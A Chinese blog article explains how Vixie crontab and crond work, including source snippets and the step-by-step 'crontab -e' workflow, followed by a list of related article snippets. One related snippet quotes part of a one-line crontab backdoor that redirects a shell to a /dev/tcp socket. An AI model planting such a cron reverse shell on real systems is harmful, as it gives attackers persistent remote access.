目录

目录 1

1. 研究目的 1

2. 基本概念 1

3. crontab 1

3.1. 编辑 2

3.1.1. “crontab -e”工作流 2

3.2. 问题 3

4. crond 3

4.1. /etc/crontab 3

1. 研究目的

更好使用crontab,和解决crontab使用问题。本文分析的是Paul Vixie版本crontab和crond。一般可通过执行“man crontab”查看AUTHOR是不是“Paul Vixie”。

2. 基本概念

1) crond是一个后台守护程序,定时执行由它负责;

2) crontab是crond的命令行工具,通过它来增删改定时任务,不同用户的crontab是独立分开的。

3. crontab

crontab启动后,会首先切换当前目录,当前目录由宏CRONDIR定义(pathnames.h中):

#ifndef CRONDIR

/* CRONDIR is where cron(8) and crontab(1) both chdir

* to; SPOOL_DIR, CRON_ALLOW, CRON_DENY, and LOG_FILE

* are all relative to this directory.

*/

#define CRONDIR "/var/cron"

#endif

老版本一般为/var/cron,新版本目录为:/var/spool。

接下来会检查用户是否有权限执行crontab,比如用户名密码过期了则不能执行。检查通过后根据命令行参数分成4个命名分别执行:

1) list_cmd:对应于crontab -l;

2) delete_cmd:对应于crontab -r;

3) edit_cmd:对应于crontab -e

4) replace_cmd:对应于crontab filepath。

3.1. 编辑

crontab默认使用宏_PATH_VI指定的编程器,文件/usr/include/paths.h定义了_PATH_VI:

#define    _PATH_VI        "/usr/bin/vi"

但如果系统没有文件/usr/include/paths.h或没有定义_PATH_VI,则为/usr/ucb/vi:

#if defined(_PATH_VI)

# define EDITOR _PATH_VI

#else

# define EDITOR "/usr/ucb/vi"

#endif

除此外,crontab还支持从环境变量VISUAL和EDITOR读取采用哪个编辑器,其中先读取VISUAL,如果没有指定再读取EDITOR。

“crontab -e”的完整工作流如下:

3.1.1. “crontab -e”工作流

以用户root为例:

1) 切换当前目录为“/var/cron”;

2) 拼写文件名“tabs/username”,假设用户名为root,则为“tabs/root(新版本文件为:cron/root)”,完整的路径为:/var/cron/tabs/root。文件tabs/root的内容和命令“crontab -l”的输出相同;

3) 打开文件/var/cron/tabs/root,然后取得文件的访问时间和修改时间。如果文件不存在,则读取/dev/null的访问时间和修改时间;

4) 生成格式为“crontab.XXXXXXXXXX”的临时文件,比如:crontab.b2gvnE;

5) 修改临时文件的owner;

6) 将文件tabs/root的内容逐字符复制到临时文件中;

7) 取得编辑用的编辑器,默认为“/usr/bin/vi”;

8) fork一个子进程;

9) 通过execlp执行/usr/bin/vi;

10) 等待vi进程退出;

11) 如果vi正常退出,检查修改时间,如果有变化,则执行replace_cmd;

12) replace_cmd过程上,会加上头:

/* write a signature at the top of the file.

*

* VERY IMPORTANT: make sure NHEADER_LINES agrees with this code.

*/

fprintf(tmp, "# DO NOT EDIT THIS FILE - edit the master and reinstall.\n");

fprintf(tmp, "# (%s installed on %-24.24s)\n", Filename, ctime(&now));

fprintf(tmp, "# (Cron version %s -- %s)\n", CRON_VERSION, rcsid);

13) replace_cmd会创建一个新的位于当前目录(比如/var/cron或/var/spool)下的临时文件;

14) 然后复制原来的临时文件内容到瓣的临时文件中,并检查语法;

15) 完成再调用rename将临时文件名改为第2步取得的正式文件名;

16) 更新文件的访问时间和修改时间。

3.2. 问题

1) “crontab -e”未退出前的修改但已保存是否生效?

2) crontab中定义的环境变量,注释是否可以在同一行,如:

STARTDATE=2017-12-18 # 开始日期

4. crond

老版本的crond,修改改需要重启进程才会生效,新版本crond通过inotify监控文件变化,修改后不用重启即会生效。

4.1. /etc/crontab

系统crontab文件,在加载用户crontab前会先加载/etc/crontab,而且/etc/crontab总是属性root用户。

有关crontab更多,请浏览《cron运行原理》:http://blog.chinaunix.net/uid-20682147-id-4977039.html

crontab和crond分析的更多相关文章

  1. 用crontab、crond在嵌入式系统中添加定时任务

    在嵌入式系统中,定时任务通过crond和cronttab两个系统命令来联合执行. 其中crond是定时任务的守护进程,系统开始时是没有开启的.crontab主要作用是管理用户的crontab file ...

  2. crontab一句话后门分析

    正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...

  3. crontab,at命令,常见问题

    crontab命令 前 一天学习了 at 命令是针对仅运行一次的任务,循环运行的例行性计划任务,linux系统则是由 cron (crond) 这个系统服务来控制的. Linux 系统上面原本就有非常 ...

  4. linux定时执行任务crontab命令用法

    linux系统的定时任务是由 cron (crond) 这个系统服务来控制的.Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的.另外, 由于使用者自己也可以设置计划任务,所 ...

  5. -bash: crontab: command not found(转)

    操作步骤 1. 确认crontab是否安装: 执行 crontab 命令如果报 command not found,就表明没有安装 2. 安装 crontab 执行 yum install -y vi ...

  6. crontab 添加sh文件定时

    (1)编写sh文件,比如/orcl/test/export.sh 编写crond文件 chmod 755 /orcl/test/*      //复制所有权限 [root@postest test]# ...

  7. (转)crontab安装(command not found)

    1. 确认crontab是否安装:执行 crontab -l 命令如果报 command not found,就表明没有安装 2. 安装 crontab执行 yum install -y vixie- ...

  8. crontab 定时任务守护程序,停止服务器时出现 job for * canceled

    (1)首先要在程序启动的时候加入定时任务到crontab #! /bin/shmkdir -p /home/apps/components/ams/ 2>/dev/nullcp ./amswat ...

  9. 在CentOS下安装crontab服务

    1. 确认crontab是否安装: 执行 crontab 命令如果报 command not found,就表明没有安装 2. 安装 crontab 执行 yum install -y vixie-c ...

随机推荐

  1. vue2.0生命周期详解

    首先上图展 <template> <div id="home"> <p>{{ message }}</p> </div> ...

  2. linux通过speedtest-cli测试服务器网速

    1.git clone speedtest源码 git clone https://github.com/sivel/speedtest-cli.git 2.运行speedtest.py cd spe ...

  3. (O)编写可维护的代码示例(原创)

    图片轮播: /*广告图片数组*/ var imgs=[ {"i":0,"img":"images/index/banner_01.jpg"} ...

  4. BZOJ1226或洛谷2157 [SDOI2009]学校食堂

    BZOJ原题链接 洛谷原题链接 注意到\(B[i]\)很小,考虑状压\(DP\). 设\(f[i][j][k]\)表示前\(i - 1\)个人已经拿到菜,第\(i\)个人及其后面\(7\)个人是否拿到 ...

  5. 深浅copy和字符串细节方法

    copy a=[1,2,3]b=aid(a)55499272id(b)55499272 id()就是查看内存地址,是不是同一个对象. c=a.copy()id(c)57940040 可见copy()出 ...

  6. Eclipse中配置Tomcat服务器并创建标准Web目录

    Eclipse创建 Java Web 项目,并生成标准的目录结构 file --> New --> Dynamic Web project 填写 Project name (该名称项目的名 ...

  7. unwind

    unwind:可以将一个列表展开为一个行的序列1.列表 unwind[1,2,3]as x return x2.创建唯一列表with[1,2,3,3]as coll unwind coll as x ...

  8. JS浏览器Session存取数据

    vm.indexdata.indexId = id; vm.indexdata.indexName = name; var tempIndex = JSON.stringify(vm.indexdat ...

  9. Git/Github的使用并与Eclipse整合(zz)

    Git/Github的使用并与Eclipse整合 您的评价:          收藏该经验       Git简介 Git是一个免费的.分布式的版本控制工具,或是一个强调了速度快的源代码管理工具.每一 ...

  10. 20155312 2016-2017-2《Java程序设计》课程总结

    20155312 2016-2017-2<Java程序设计>课程总结 每周作业链接汇总 预备作业1:你期望的师生关系是什么? 预备作业2:做中学learning by doing个人感想 ...